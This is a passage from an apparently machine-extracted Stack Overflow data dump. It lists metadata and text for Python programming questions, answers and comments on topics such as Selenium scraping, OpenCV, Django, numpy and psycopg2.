disjoint_cluster = [] for i in cluster: maxpaths_array = subset_df['maxpath'].as_matrix() found = old_find_cluster(i,maxpaths_array) disjoint_cluster.append(found) return(disjoint_cluster) new = %timeit for x in range(3): test_new() old = %timeit for x in range(3): test_old() yields New find_cluster 247 µs ± 5.48 µs per loop (mean ± std. dev. of …
score: 1

http://stackoverflow.com/comment/84307360
type: QuestionComment
has text: Do you have pylab installed on the system?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48654611

http://stackoverflow.com/comment/84511997
has text: It looks like you can [write custom Servables](https://www.tensorflow.org/serving/custom_servable), although it only mentions doing so in C++ (which doesn't help much in using Gensim).
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48752533
score: 0

http://stackoverflow.com/comment/85871028
comment on: http://stackoverflow.com/a/48726524
type: Comment
score: 0
type: AnswerComment
has text: Thanks, happened the same thing to me and solved my problem too.

http://stackoverflow.com/q/48772958
has comment: http://stackoverflow.com/comment/84601673
tagged with: python
has comment: http://stackoverflow.com/comment/84547611
answer count: 0
has body: I have written some code to scrape a web page using selenium. It is working fine if I use Chrome web driver. But if i change it to PhantomJS(), i am getting error saying no such element exception. The code is: from bs4 import BeautifulSoup import requests from selenium import webdriver from time import sleep s = requests.session() driver = webdriver.Chrome('F:\chromedriver') driver.get("https://in.bookmyshow.com/booktickets/VMAX/2061") sleep(40) # To switch to frame driver.switch_to.frame(driver.find_element_by_id("wiz-iframe")) # Clicking on the element inside the frame e2 = driver.find_element_by_xpath("//div[@class='wzrkPPwarp']//a") e2.click() # Switching back to main content driver.switch_to_default_content() # Then only we can access elements e3 = driver.find_element_by_xpath("//button[@class='No thanks']") e3.click() This is the code written using Chrome web driver. When i change this to: driver = webdriver.PhantomJS() I am getting the error as below: NoSuchElementException: Message: {"errorMessage":"Unable to find element with xpath '//div[@class='wzrkPPwarp']//a'","request":{"headers":{"Accept":"application/json","Accept-Encoding":"identity","Connection":"close","Content-Length":"113","Content-Type":"application/json;charset=UTF-8","Host":"127.0.0.1:56829","User-Agent":"Python http auth"},"httpVersion":"1.1","method":"POST","post":"{\"using\": \"xpath\", \"value\": \"//div[@class='wzrkPPwarp']//a\", \"sessionId\": \"ccc33320-10e5-11e8-b5fa-dbfae1ffdb07\"}","url":"/element","urlParsed":{"anchor":"","query":"","file":"element","directory":"/","path":"/element","relative":"/element","port":"","host":"","password":"","user":"","userInfo":"","authority":"","protocol":"","source":"/element","queryKey":{},"chunks":["element"]},"urlOriginal":"/session/ccc33320-10e5-11e8-b5fa-dbfae1ffdb07/element"}} Screenshot: available via screen How to make it correct? Please help. Thanks!
type: UnansweredQuestion
tagged with: selenium
has title: How to convert the Selenium with Chrome code into PhantomJS?
has comment: http://stackoverflow.com/comment/84549754
tagged with: phantomjs
has comment: http://stackoverflow.com/comment/84547656
has comment: http://stackoverflow.com/comment/84548585
has comment: http://stackoverflow.com/comment/84547903
has comment: http://stackoverflow.com/comment/84547530
type: Question
linked to: http://stackoverflow.com/q/38207202
has comment: http://stackoverflow.com/comment/84547672
has comment: http://stackoverflow.com/comment/84548038
has comment: http://stackoverflow.com/comment/84548244
score: 0

http://stackoverflow.com/q/48685217
accepted answer: http://stackoverflow.com/a/48685637
has body: Why does pyinstaller exe not run in windowed mode but fine without it? I have changed over to a windows OS from Linux. Never had any issue before hand, how do I correct this.
favorite count: 0
tagged with: pyinstaller
has answer: http://stackoverflow.com/a/48685637
tagged with: python
has title: Windowed mode cannot run
downvote count: 2
type: Question
type: AnsweredQuestion
score: -2
upvote count: 0
answer count: 1

http://stackoverflow.com/a/48736513
score: 1
has comment: http://stackoverflow.com/comment/84510009
upvote count: 1
has comment: http://stackoverflow.com/comment/84473050
has comment: http://stackoverflow.com/comment/84477740
has comment: http://stackoverflow.com/comment/84509256
has body: This error occurs when Selenium can't find the object in the HTML DOM. My guess is that you set up your implicit wait too late, and Selenium tries to get the Element before the page is loaded and the element present in the HTML DOM. driver.get(link) driver.implicitly_wait(10) The documentation sets up the implicit wait before getting any pages: driver = webdriver.PhantomJS() driver.implicitly_wait(10) driver.get(link) This ensures that selenium waits until the page is fully loaded before it looks for the anchor tag element. DocLink: http://selenium-python.readthedocs.io/waits.html#implicit-waits Also if there are no elements on that page you are scraping that are loaded or created via javascript, then you don't need selenium to do simple text extraction scraping. You could just use the core library urllib.request to get the page and then scrape with beautifulSoup. UPDATE: As Ian in said in the comments, implicit wait positioning doesn't matter in this case. The Problem was the Locator Strategy. website = driver.find_element_by_link_text('Website').get_attribute('href') In this case it couldn't find the element, which is a Link styled to a button with uppercase lettering WEBSITE. It seems to match not the link text in the HTML DOM ("Website") but the css computed style rendered text WEBSITE on the button. Another locator strategy like css-selector or XPATH seems to me to deliver more reliable results: driver.find_element_by_xpath("//a[contains(text(),'Website')]").get_attribute("href") Some more information on those can be found here: Selenium Locating Elements
downvote count: 0
answers question: http://stackoverflow.com/q/48736196
type: Answer

http://stackoverflow.com/a/48765422
answers question: http://stackoverflow.com/q/48763957
upvote count: 1
has comment: http://stackoverflow.com/comment/84535072
has body: Since everything in python is an object, including modules, you can do something like: def doSomething(x, numpy=None): if numpy is None: import numpy return numpy.sqrt(x) Then you can call the function without setting numpy, then it will use the default numpy. If you want to use another numpy, just call it as such: from autograd import numpy as autograd_numpy doSomething(x, numpy=autograd_numpy)
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/a/50079310
has body: If you catch your exception, you can prompt within the except block and then call your validation callback again (this will recursively loop until a valid entry is given): def validate_email(ctx, param, value): try: if not re.match(r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)", value): raise ValueError(value) else: return value except ValueError, e: click.echo('Incorrect email address given: {}'.format(e)) value = click.prompt(param.prompt) return validate_email(ctx, param, value)
downvote count: 0
answers question: http://stackoverflow.com/q/48679819
score: 2
upvote count: 2
type: Answer

http://stackoverflow.com/comment/84416860
comment on: http://stackoverflow.com/q/48692652
type: Comment
type: QuestionComment
has text: You can get a more efficient solution by "compiling" all regexs together so they are part of the same tree - so that's why you want to combine them as opposed to loop over them and do an individual comparison against each (see xregexp as described below for how to do it).
score: 0

http://stackoverflow.com/q/48723623
has comment: http://stackoverflow.com/comment/84451033
score: 3
tagged with: python
favorite count: 0
tagged with: python-3.x
answer count: 0
type: Question
has title: OPENCV bitwise_and operator
has body: I am learning OpenCV library in python following the tutorials and examples. I arrived to bitwise operations. In this typical example: # Load two images img1 = cv2.imread('messi5.jpg') img2 = cv2.imread('opencv_logo.png') # I want to put logo on top-left corner, So I create a ROI rows,cols,channels = img2.shape roi = img1[0:rows, 0:cols ] # Now create a mask of logo and create its inverse mask also img2gray = cv2.cvtColor(img2,cv2.COLOR_BGR2GRAY) ret, mask = cv2.threshold(img2gray, 10, 255, cv2.THRESH_BINARY) mask_inv = cv2.bitwise_not(mask) # Now black-out the area of logo in ROI img1_bg = cv2.bitwise_and(roi,roi,mask = mask_inv) # Take only region of logo from logo image. img2_fg = cv2.bitwise_and(img2,img2,mask = mask) # Put logo in ROI and modify the main image dst = cv2.add(img1_bg,img2_fg) img1[0:rows, 0:cols ] = dst cv2.imshow('res',img1) cv2.waitKey(0) cv2.destroyAllWindows() When bitwise_and is used I don't understand what makes each parameter, and I've checked a hundred tutorials and no one clarifies it. What I don't understand is why we use twice roi in the parameters because "anyArray AND anyArray = anyArray". Thanks you in advance.
tagged with: opencv
upvote count: 3
tagged with: image-processing
downvote count: 0
type: UnansweredQuestion
tagged with: python-2.7

http://stackoverflow.com/comment/84568007
has text: Hi, possible duplicate question [python binary data](https://stackoverflow.com/questions/14365027/python-post-binary-data).
comment on: http://stackoverflow.com/q/48783237
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48781854
accepted answer of: http://stackoverflow.com/q/48781704
type: Answer
score: 1
upvote count: 1
has body: If the pattern is consistent, i.e. &lt;Month-shortname&gt;&lt;Year-with-century&gt;, then you could use string slicing instead. &gt;&gt;&gt; x = 'Jul1990' &gt;&gt;&gt; zz = x[:-4], x[-4:] &gt;&gt;&gt; zz ('Jul', '1990') &gt;&gt;&gt; x = 'Sept1990' &gt;&gt;&gt; zz = x[:-4], x[-4:] &gt;&gt;&gt; zz ('Sept', '1990')
answers question: http://stackoverflow.com/q/48781704
type: AcceptedAnswer
downvote count: 0

variables
tag name: variables
tags question: http://stackoverflow.com/q/48715866
tags question: http://stackoverflow.com/q/48650889
tags question: http://stackoverflow.com/q/48716048
tags question: http://stackoverflow.com/q/48654384
tags question: http://stackoverflow.com/q/48674822
tags question: http://stackoverflow.com/q/48669457
type: Tag
tags question: http://stackoverflow.com/q/48776878
tags question: http://stackoverflow.com/q/48682817
tags question: http://stackoverflow.com/q/48797293
tags question: http://stackoverflow.com/q/48688375
tags question: http://stackoverflow.com/q/48718360
tags question: http://stackoverflow.com/q/48676144
tags question: http://stackoverflow.com/q/48765057
tags question: http://stackoverflow.com/q/48715098
tags question: http://stackoverflow.com/q/48753948
tags question: http://stackoverflow.com/q/48757530

dockerfile
tags question: http://stackoverflow.com/q/48692363
type: Tag
tags question: http://stackoverflow.com/q/48701581
tags question: http://stackoverflow.com/q/48741588
tag name: dockerfile
tags question: http://stackoverflow.com/q/48702156
tags question: http://stackoverflow.com/q/48746323

http://stackoverflow.com/q/48716778
tagged with: python
linked to: http://stackoverflow.com/q/33645796
tagged with: box-api
upvote count: 1
has title: Box Python SDK for Developer/Enterprise: Clarifying JWT Authentication
has body: https://github.com/box/box-python-sdk/blob/1b2d19662e904a2cc850dab2c66ee122c3b3e20e/README.rst#get-the-authorization-url states: auth = JWTAuth( client_id='YOUR_CLIENT_ID', client_secret='YOUR_CLIENT_SECRET', enterprise_id='YOUR_ENTERPRISE_ID', jwt_key_id='YOUR_JWT_KEY_ID', rsa_private_key_file_sys_path='CERT.PEM', store_tokens=your_store_tokens_callback_method, ) The first 3 arguments are self-explanatory. 4: jwt_key_id : where does this come from? Is this the same thing as the public key id that goes in the JWT header? A similar question (Authenticate with Box Developer Edition using box-python-sdk) doesn't list this argument. 5: I have a path to the private key file; when I run this script it returns an error, Password was not given but private key is encrypted. A community answer here https://community.box.com/t5/Box-Developer-Forum/Setting-password-for-private-key-when-using-JWTAuth-via-box/td-p/19407 suggests the need for another parameter, so I've added: rsa_private_key_passphrase = 'my_passphrase' as another argument to JWTAuth. Is this correct? 6: The store_tokens argument looks optional, so I'm assuming I can put store_tokens=None without kittens dying, right?
answer count: 1
has answer: http://stackoverflow.com/a/49256766
type: AnsweredQuestion
downvote count: 0
accepted answer: http://stackoverflow.com/a/49256766
score: 1
favorite count: 0
type: Question

http://stackoverflow.com/q/48739115
has comment: http://stackoverflow.com/comment/84478091
has body: ** If you try to run code, please set Tall as string, thanks. I scraped this from the website from POST, Tall looks like a list but it is not. It is a "string", I already used some split to make it neat. I just want to know if there a way to make it as a list and use simple way to extract data. Otherwise it'll be difficult for me to split all of them. Type of Tall is string and I want to extract values from Tall: Tall=[{"SALEDATE":"2018/02/06","CARID":"2002","CERTPHOTO1":"Y"}, {"SALEDATE":"2018/02/06","CARID":"4791","CERTPHOTO1":""}] Code: print(type(Tall)) class 'str' print(Tall[1]) { But when I tried to do this: for i in range(2): result=list(Tall[i].values()) The error says: AttributeError: 'str' object has no attribute 'values' I want to make Tall from string to a list without changing anything of Tall, is it possible? The result I expected: 2018/02/06,2002,Y 2018/02/06,4791,
answer count: 3
has comment: http://stackoverflow.com/comment/84478155
has title: Python: String to list (without changing a word)
has comment: http://stackoverflow.com/comment/84478183
tagged with: string
favorite count: 0
has comment: http://stackoverflow.com/comment/84478137
upvote count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/84478158
tagged with: python
type: AnsweredQuestion
tagged with: list
has comment: http://stackoverflow.com/comment/84478214
possible better answer: http://stackoverflow.com/a/48739433
score: 0
has answer: http://stackoverflow.com/a/48739433
has comment: http://stackoverflow.com/comment/84478272
has comment: http://stackoverflow.com/comment/84478200
has answer: http://stackoverflow.com/a/48739378
type: Question
has comment: http://stackoverflow.com/comment/84478073
has comment: http://stackoverflow.com/comment/84478444
has comment: http://stackoverflow.com/comment/84477898
accepted answer: http://stackoverflow.com/a/48739378
has comment: http://stackoverflow.com/comment/84477927
has answer: http://stackoverflow.com/a/48739708

http://stackoverflow.com/comment/84551706
score: 0
has text: Thanks a lot! Problem solved! Do you know how I could compute the average of a golfer's rounds over the previous n days?
type: AnswerComment
comment on: http://stackoverflow.com/a/48769632
type: Comment

http://stackoverflow.com/q/48743823
has comment: http://stackoverflow.com/comment/84487613
has comment: http://stackoverflow.com/comment/84487576
accepted answer: http://stackoverflow.com/a/48744083
has title: Extend elements in list of lists in Python
score: 0
has comment: http://stackoverflow.com/comment/84487784
answer count: 1
has comment: http://stackoverflow.com/comment/84487634
tagged with: python
tagged with: append
has answer: http://stackoverflow.com/a/48744083
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84487711
has body: I need to fill a list of lists with zeros up to a certain range. I am calculating the reduced profits for a period of infection (a_x). After the infection the profits have to be accounted for with zeros for all of my 3 systems. The planning horizon is 50 years, so I need to extend the elements in my list of lists (tilde_Pi_) to comprise of 50 elements in every sublist respectively. # Parameters needed for the calculation year = np.arange(50) a_x = list(np.arange(5)) Y_ = [2, 8, 12] C_ = [620, 2000, 4000] p = 500 r = 0.03 RC_ = [1000, 5000, 10000] m_ = [50, 30, 15] ARC_ = [((RC_[i] * r) / (1 - (1+r) ** (-m_[i]))) for i in range(0, 3)] # Relevant calculation tilde_Y_ = [[(Y_[i] * 0.8 ** a_x[a]) for a in a_x] for i in range(0, 3)] tilde_C_ = [[(C_[i] * 0.8 ** a_x[a]) for a in a_x] for i in range(0, 3)] tilde_Pi_ = [[((p * tilde_Y_[i][a]) - tilde_C_[i][a] - ARC_[i]) for a in a_x] for i in range(0, 3)] I tried to write an .extend syntax but something is wrong tilde_Pi_ = [tilde_Pi_[i].extend([0] * (len(year) - len(tilde_Pi_[i]))) for i in range(0, 3)] Does anyone have an idea how to extend the 3 lists in my list of lists (tilde_Pi_) to comprise of 50 elements respectively, the first 5 (len(a_x)) calculated as above, the remainder filled by zeros?
tagged with: extend
type: Question

http://stackoverflow.com/comment/84336340
score: 1
has text: And of course you could also just do `sum(sequence_second)`.
type: AnswerComment
comment on: http://stackoverflow.com/a/48669240
type: Comment

http://stackoverflow.com/comment/97309643
has text: I don't know how this got 5 upvotes, but it's (a) too broad and (b) a request for off-site resources.
score: 1
comment on: http://stackoverflow.com/q/48749800
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48692898
type: UnansweredQuestion
tagged with: python
upvote count: 1
has body: I have a (66180L,) numpy.ndarray, which consists of strings in each row. I want to go inside the rows, accessing the strings, and split them for every space in that string. I really only want words and numbers. How to do this? Example: sample[1,] = '[Hello] my name is Jay 12 1 2!!' output: ['Hello', 'my', 'name', 'is', 'Jay', '12', '1', '2']
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84384179
has comment: http://stackoverflow.com/comment/84384115
score: 0
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48693020
has title: Split strings that are in a numpy.ndarray

http://stackoverflow.com/q/48729966
has answer: http://stackoverflow.com/a/48730179
has title: How can I call multiple views in one url address in Django?
tagged with: python
has answer: http://stackoverflow.com/a/79303361
score: 8
has answer: http://stackoverflow.com/a/48730174
tagged with: django
type: Question
has body: I'm trying to show forms defined by new_measurement on index.html, but I only manage to get IndexView() to work. I tried various combinations between IndexView() and new_measurement(), but those didn't work out at all. I know that IndexView() doesn't pass anything related to new_measurement(), and new_measurement() isn't called, which is the core of my problem. I'd really appreciate if someone more experienced with Django could tell me what I could, or should do. Thank you. Here's my views.py: from django.shortcuts import render from django.utils import timezone from .models import Measurement from .forms import MeasurementForm from django.views import generic class IndexView(generic.ListView): model = Measurement context_object_name = 'measurement_list' template_name = 'index.html' queryset = Measurement.objects.all() def new_measurement(request): if request.method == "POST": form = MeasurementForm(request.POST) if form.is_valid(): measurement = form.save(commit=False) measurement.measurement_date = timezone.now() measurement.save() else: form = MeasurementForm() return render(request, 'index.html', {'form': form}) urls.py: from django.urls import path from . import views urlpatterns = [ path('', views.IndexView.as_view(), name='index'), ] forms.py: class MeasurementForm(forms.ModelForm): class Meta: model = Measurement fields = ('measurement_value', 'measurement_unit') index.html: {% extends "base.html" %} {% block content %} Climate Measurement Tool Add a new measurement {% csrf_token %} {{ form.as_p }} Add Measurements {% if measurement_list %} {% for measurement in measurement_list %} {{ measurement }} {% endfor %} {% else %} No measurements yet {% endif %} {% endblock %}
type: AnsweredQuestion
tagged with: django-views
has answer: http://stackoverflow.com/a/71631148
tagged with: django-urls
accepted answer: http://stackoverflow.com/a/48730174
has answer: http://stackoverflow.com/a/74596389
possible better answer: http://stackoverflow.com/a/48730047
downvote count: 0
answer count: 6
has answer: http://stackoverflow.com/a/48730047
favorite count: 0
upvote count: 8

http://stackoverflow.com/comment/84486887
has text: also wondering why python uses this name but does not mention it in the doc. it only mentions `ascii` and `us-ascii`. this introduces unnecessary confusions.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/48743337
type: Comment

http://stackoverflow.com/comment/84391919
score: 0
type: Comment
type: QuestionComment
has text: @sKwa, sorry don't quite understand your question.?
comment on: http://stackoverflow.com/q/48696406

http://stackoverflow.com/a/48757417
type: Answer
downvote count: 0
score: 7
has body: As shown here a countplot which shows normalized values can be easily achieved using a seaborn barplot. import matplotlib.pyplot as plt import seaborn as sns x = [0,1,2,3,1,2,1,3,2,1,2,1,3] percentage = lambda i: len(i) / float(len(x)) * 100 ax = sns.barplot(x=x, y=x, estimator=percentage) ax.set(ylabel="Percent") plt.show() Or, using pandas, import matplotlib.pyplot as plt import pandas as pd x = [0,1,2,3,1,2,1,3,2,1,2,1,3] ax = (pd.Series(x).value_counts(normalize=True, sort=False)*100).plot.bar() ax.set(ylabel="Percent") plt.show()
upvote count: 7
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48757154
accepted answer of: http://stackoverflow.com/q/48757154

http://stackoverflow.com/comment/96756040
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48688303
has text: Is there a difference between passing the arguments as args or as user_data like c_types? If so, do you know how can you pass more than one argument?
score: 0

http://stackoverflow.com/comment/138788414
type: Comment
score: 0
comment on: http://stackoverflow.com/a/48735489
type: AnswerComment
has text: hi can you explain more? I dont know why use `./following-sibling::div` and `'./following::img'`

http://stackoverflow.com/comment/84554564
has text: Why are you importing files that aren't used?
comment on: http://stackoverflow.com/q/48776116
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48709058
type: AnsweredQuestion
tagged with: list
score: 1
has title: convert unicode to two separate list in python
type: Question
possible better answer: http://stackoverflow.com/a/48709114
has answer: http://stackoverflow.com/a/48709114
upvote count: 2
has comment: http://stackoverflow.com/comment/84417132
answer count: 3
has comment: http://stackoverflow.com/comment/84417221
linked to: http://stackoverflow.com/q/19339
has answer: http://stackoverflow.com/a/48709181
downvote count: 1
has answer: http://stackoverflow.com/a/48709170
accepted answer: http://stackoverflow.com/a/48709170
favorite count: 0
has body: I have this unicode string . u"[(2102, 'a'), (1882, 'b'), (1304, 'c'), (577, 'd'), (470, 'e')]" &lt;type 'unicode'&gt; how can i convert it to two separate list
tagged with: python

http://stackoverflow.com/comment/84497870
comment on: http://stackoverflow.com/a/48748185
score: 0
type: AnswerComment
type: Comment
has text: If you edit your post I can change my upvote to a downvote if that would make you feel better. (I wouldnt do it if i were you)

http://stackoverflow.com/a/48723438
score: 0
has comment: http://stackoverflow.com/comment/84446069
has comment: http://stackoverflow.com/comment/84445678
type: Answer
has comment: http://stackoverflow.com/comment/84445719
has comment: http://stackoverflow.com/comment/84446081
has comment: http://stackoverflow.com/comment/84447704
answers question: http://stackoverflow.com/q/48723348
has body: In setup.py try include only packages which you want as in example: import sys from cx_Freeze import setup, Executable # Dependencies are automatically detected, but it might need fine tuning. build_exe_options = {"packages": ["os"], "excludes": ["tkinter"]} from documentation: "A common problem is that cx_Freeze hasn’t automatically detected that a file needs to be copied. Modules that your code imports are detected, but if they’re dynamically loaded - e.g. by a plugin system - you have to tell cx_Freeze about them. "
has comment: http://stackoverflow.com/comment/84445790

http://stackoverflow.com/comment/84525677
score: 0
type: QuestionComment
type: Comment
has text: Delete your answer and accept my edit, you should not add question into answer, you need to update existing question itself.
comment on: http://stackoverflow.com/q/48762529

http://stackoverflow.com/q/48686428
has answer: http://stackoverflow.com/a/48686479
upvote count: 4
has answer: http://stackoverflow.com/a/48707591
downvote count: 0
type: Question
tagged with: numpy
has title: Numpy dot product of very large arrays
has comment: http://stackoverflow.com/comment/84378778
score: 4
answer count: 2
has comment: http://stackoverflow.com/comment/84382530
has comment: http://stackoverflow.com/comment/84374491
has body: I have a problem of very slow running code. A try to calculate the dot product of a very large binary matrix (170544 X 22) by its transpose. First I tried this code import numpy as np start = time.time() import warnings warnings.filterwarnings("ignore", message='genfromtxt', category=UserWarning) np.set_printoptions(threshold=np.nan) fin = open('E:/myscripts/Abin.txt', 'rb') # input file (170544X22 binary matrix) fin1 = open('E:/myscripts/AbinT.txt', 'rb') # input file (22X170544 binary matrix the transpose of Abin) fout = open('E:/myscripts/RPartial.txt', 'w+b') # output file FW = np.genfromtxt(fin,delimiter=',', dtype=int) WF = np.genfromtxt(fin1,delimiter=',', dtype=int) r = np.dot(FW,WF) #r calculation np.savetxt(fout, r, fmt='%i' ,delimiter=',', newline='\r\n') fin.close() fin1.close() fout.close() but there was a memory error. Then I changed the r calculation using a row approach: for row in FW: a=FW[row,:] r = np.dot(a,WF) np.savetxt(fout, r, fmt='%i' ,delimiter=',', newline='\r\n') The code now works, but its is very slow, after 90 min only 8000 rows was calculated. The hardware is a I7 with 12GB of ram, running windows 64 bits. How a can speed up the code? The data is like this ([1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0], [1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0], [1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0], [1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0], [1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0]) and the result should be like ([15,14,14,14,14], [14,15,14,14,14], [14,14,15,14,14], [14,14,14,15,14], [14,14,14,14,15]) .
favorite count: 0
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/48751888
favorite count: 0
type: UnansweredQuestion
has title: Django 1.8 migration strange behaviour
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/53005614
downvote count: 0
score: 1
has body: I am trying to modify an existing School app which has sub-apps like students, class, scores etc using django 1.8. My class model: class Class(Object): student = models.ForeignKey(School, related_name='school_student') section = models.CharField() roll = models.IntegerField() When I run python manage.py makemigrations class, I am getting a message No changes detected in app 'class'. But when I run python manage.py makemigrations, the changes are detected and the migration files are created under the school directory but not in the class directory. But when to the above model if I add a meta class. class Meta: unique_together = ('student', 'roll') And now if I run python manage.py makemigrations class, the changes are detected and the migration files are created under the class directory. Can someone tell me why such behaviour?
type: Question
upvote count: 1
tagged with: migration
answer count: 1

http://stackoverflow.com/q/48763810
has answer: http://stackoverflow.com/a/48796305
upvote count: 1
has body: I want to split my settings in to production.py and local.py. Different settings are loaded in different environments, which I define in the ENV variable SCRAPY_SETTINGS_MODULE as project.local or project.production. Problem is, whenever I define the ENV var and run scrapy crawl myspider I get this error: ModuleNotFoundError: No module named 'project' If I don't define SCRAPY_SETTINGS_MODULE, then it is set to its default which is project.settings, and it throws no error. If I set the ENV var to its default value, I still get ModuleNotFoundError above. So basically, it can import project.settings which is its default value, but if I set SCRAPY_SETTINGS_MODULE=project.settings then it throws an error.
answer count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: python
has title: Scrapy Settings with ENV SCRAPY_SETTINGS_MODULE not working
downvote count: 0
score: 1
tagged with: scrapy
type: Question

http://stackoverflow.com/comment/84324247
score: 0
has text: Bruno, how to fix it? What I must write to display records correctly?
comment on: http://stackoverflow.com/q/48652385
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84372507
has text: thanks, at the end of several hours of code revision, I managed to repair the error, the problem was (as you said) that there was already a relationship with the user table, the solution I gave was to create a new database and then do the migrations, then move the data from one base to another, luckily I did not have data in the user table, perhaps others could not work this solution, but for practical purposes, it was enough
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48678222

pymongo
tags question: http://stackoverflow.com/q/48690736
tags question: http://stackoverflow.com/q/48750212
type: Tag
tags question: http://stackoverflow.com/q/48720892
tag name: pymongo
tags question: http://stackoverflow.com/q/48648001
tags question: http://stackoverflow.com/q/48780324
tags question: http://stackoverflow.com/q/48732280
tags question: http://stackoverflow.com/q/48699703
tags question: http://stackoverflow.com/q/48674255
tags question: http://stackoverflow.com/q/48722969
tags question: http://stackoverflow.com/q/48662349

http://stackoverflow.com/a/48724894
has comment: http://stackoverflow.com/comment/84449273
score: 0
has comment: http://stackoverflow.com/comment/84448877
has body: Your problem is classic many-to-many relationship. Each product can be ingredient in many recipes, each recipe can have multiple ingredients. To implement this, you need 3rd table, that holds "membership" per product per recipe. This is common (if not best) practice for m2m problem. There's a lot of examples in SO, pls look for them
type: Answer
answers question: http://stackoverflow.com/q/48724733

http://stackoverflow.com/comment/84555221
comment on: http://stackoverflow.com/q/48776095
has text: The numbered are the same interfaces as the named ones. I don't know why IPDB implements it that way. You can see the correspondent names with ```ipdb.interfaces[0].ifname```, for example. Maybe something like this can workaround ```for i in range(len(ipdb.interfaces)/2): print ipdb.interfaces[i].ifname```.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84343004
comment on: http://stackoverflow.com/a/48668122
type: Comment
score: 0
type: AnswerComment
has text: sure sure I meant to rescale between 0-1! but that shape is for a CNN no NN is that correct?

http://stackoverflow.com/q/48738789
type: AnsweredQuestion
has body: I'm new to postgres. I'm trying to update rows in a postgres table with a Python dictionary. A sample of the error: Traceback (most recent call last): File "json_to_sql.py", line 187, in &lt;module&gt; logger.debug(c.execute(update_movie_data, movie_vars)) psycopg2.ProgrammingError: syntax error at or near "'genres'" LINE 1: UPDATE movies SET 'genres' = ARRAY['Comedy'] WHERE original_... ^ The ^ always points to the ' no matter the key. The dictionary, movie_dicts, has entries that look like this: {'adult': False, 'genres': ['Comedy'], 'original_language': 'pa', 'original_title': 'Jatts in Golmaal', 'overview': "Jatts in Golmal is an Comedy... [Truncated for brevity.]", 'production_countries': [], 'release_date': '2003-02-21', 'title': 'Jatts in Golmaal', 'images': '/g5epyphS4WqmwJDIu14EL20gxuc.jpg'} I create the database with psql in shell. Then, I create the table without a hitch with this in Python: create_table_movie = """CREATE TABLE movies ( id SERIAL PRIMARY KEY, adult TEXT, original_language TEXT, original_title TEXT, title TEXT, overview TEXT, release_date DATE, genres TEXT, production_countries TEXT, videos TEXT, images TEXT );""" c.execute(create_table_movie) Thereafter, I iterate through each entry in the dictionary. On each loop, I first insert the movie title into the original_title column. It works well. Then, I loop through each entry to update each row where its title has just been inserted. It fails. The code: for i in movie_dicts: insert_movie_data = "INSERT INTO movies (original_title) VALUES (%s);" movie_titles = i['original_title'], c.execute(insert_movie_data, movie_titles) for k, v in i.items(): try: update_movie_data = "UPDATE movies SET %s = %s WHERE original_title = %s;" movie_vars = k, v, i['original_title'] logger.debug(c.execute(update_movie_data, movie_vars)) except: logger.exception() pass I've read through a lot of similar questions on Stack Overflow about this error with relation to syntax, and also the documentation on passing para…
has answer: http://stackoverflow.com/a/48748843
has comment: http://stackoverflow.com/comment/84497546
type: Question
score: 0
accepted answer: http://stackoverflow.com/a/48748843
tagged with: sql
answer count: 1
tagged with: python-3.x
tagged with: postgresql
tagged with: python
linked to: http://stackoverflow.com/q/16477497
has comment: http://stackoverflow.com/comment/84479143
tagged with: psycopg2
has comment: http://stackoverflow.com/comment/84478635
has title: "ProgrammingError: syntax error at or near...'" when updating rows in postgres with python dictionary

http://stackoverflow.com/comment/84395184
type: Comment
score: 1
comment on: http://stackoverflow.com/q/48698204
has text: ... put a `print()` in between?
type: QuestionComment

http://stackoverflow.com/a/48758826
answers question: http://stackoverflow.com/q/48758732
score: 1
upvote count: 1
has body: (set(word.upper()) &lt;= set(row) for row in ('QWERTYUIOP', 'ASDFGHJKL', 'ZXCVBNM')) is a generator expression. if will always see this as a True value any is a function. It iterates over the generator expression and returns a bool There is no "if any" it's "if [some expression]" the any is part of the expression
accepted answer of: http://stackoverflow.com/q/48758732
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/84308507
has text: Selenium `sendKeys()` can press combine keys, like Ctrl + A etc, and `Action` class to execute mouse move/down/up. can the both meet all your requriement.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48654727
score: 0

http://stackoverflow.com/comment/84664636
has text: https://stackoverflow.com/questions/26550262/how-to-specify-the-database-for-factory-boy
comment on: http://stackoverflow.com/q/48753155
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/48737739
downvote count: 0
has comment: http://stackoverflow.com/comment/84477356
has comment: http://stackoverflow.com/comment/84477650
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/48736918
has comment: http://stackoverflow.com/comment/84477172
